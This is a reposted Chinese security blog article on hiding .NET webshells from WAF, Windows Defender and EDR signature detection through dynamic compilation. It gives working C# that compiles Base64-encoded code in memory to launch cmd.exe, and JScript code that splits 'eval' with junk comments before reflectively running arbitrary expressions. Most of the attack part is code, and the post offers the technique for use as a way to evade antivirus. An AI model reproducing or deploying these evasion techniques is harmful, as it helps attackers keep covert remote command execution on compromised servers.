.NET WebShell免杀系列之动态编译

admin 2022年6月21日09:58:10评论45 views字数 1927阅读6分25秒阅读模式

0x01 动态编译

当下主流的Waf或Windows Defender等终端杀软、EDR大多都是从特征码查杀,在.Net一句话木马中最常见的特征是基于Jscript.Net实现的eval方法和C#Process.Start方法,笔者之前从.NET 内置的CodeDomProvider类下手实现动态编译.NET代码,编译的过程如下图

.NET WebShell免杀系列之动态编译

1. 规避C#Process.Start

动态编译技术提供了最核心的两个类CodeDomProvider 和 CompilerParameters,前者相当于编译器,后者相当于编译器参数,CompileAssemblyFromSource表示程序集的数据源,再将编译产生的结果生成程序集供反射调用。最后通过CreateInstance实例化对象并反射调用自定义类中的方法。

CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;     CompilerParameters comPara = new CompilerParameters();  comPara.ReferencedAssemblies.Add("System.dll"); //添加引用comPara.GenerateExecutable = false; //生成execomPara.GenerateInMemory = true; //内存中CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集object objHelloWorld = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象MethodInfo objMi = objHelloWorld?.GetType().GetMethod("OutPut"); //反射调用方法var result = objMi?.Invoke(objHelloWorld, null);

直接将System.Diagnostics.Process.Start("cmd.exe","/c calc");Base64编码为 U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7, 运行后可正常执行指令

.NET WebShell免杀系列之动态编译

2. 拆解Eval

将动态编译器指定为Jscript,通过插入无关字符/*@Ivan1ee@*/将eval拆解掉,编译替换后反射执行目标方法。核心代码如下

private static readonly string _jscriptClassText =@"import System;class JScriptRun{  public static function RunExp(expression : String) : String    {       return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);     }}"private static void Initialize()    {        CodeDomProvider compiler = CodeDomProvider.CreateProvider("Jscript");        CompilerParameters parameters = new CompilerParameters();        parameters.GenerateInMemory = true;        parameters.ReferencedAssemblies.Add("System.dll");        CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/", ""));        Assembly assembly = results.CompiledAssembly;        _runType = assembly.GetType("JScriptRun");        _runInstance = Activator.CreateInstance(_runType);    }

0x02 结语

笔者改用aspx编写此类风险检测程序,同时设计了主机进程、主机信息采集、主机目录文件访问等功能

.NET WebShell免杀系列之动态编译


原文始发于微信公众号(哆啦安全):.NET WebShell免杀系列之动态编译

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月21日09:58:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   .NET WebShell免杀系列之动态编译http://cn-sec.com/archives/1131401.html

发表评论

匿名网友 填写信息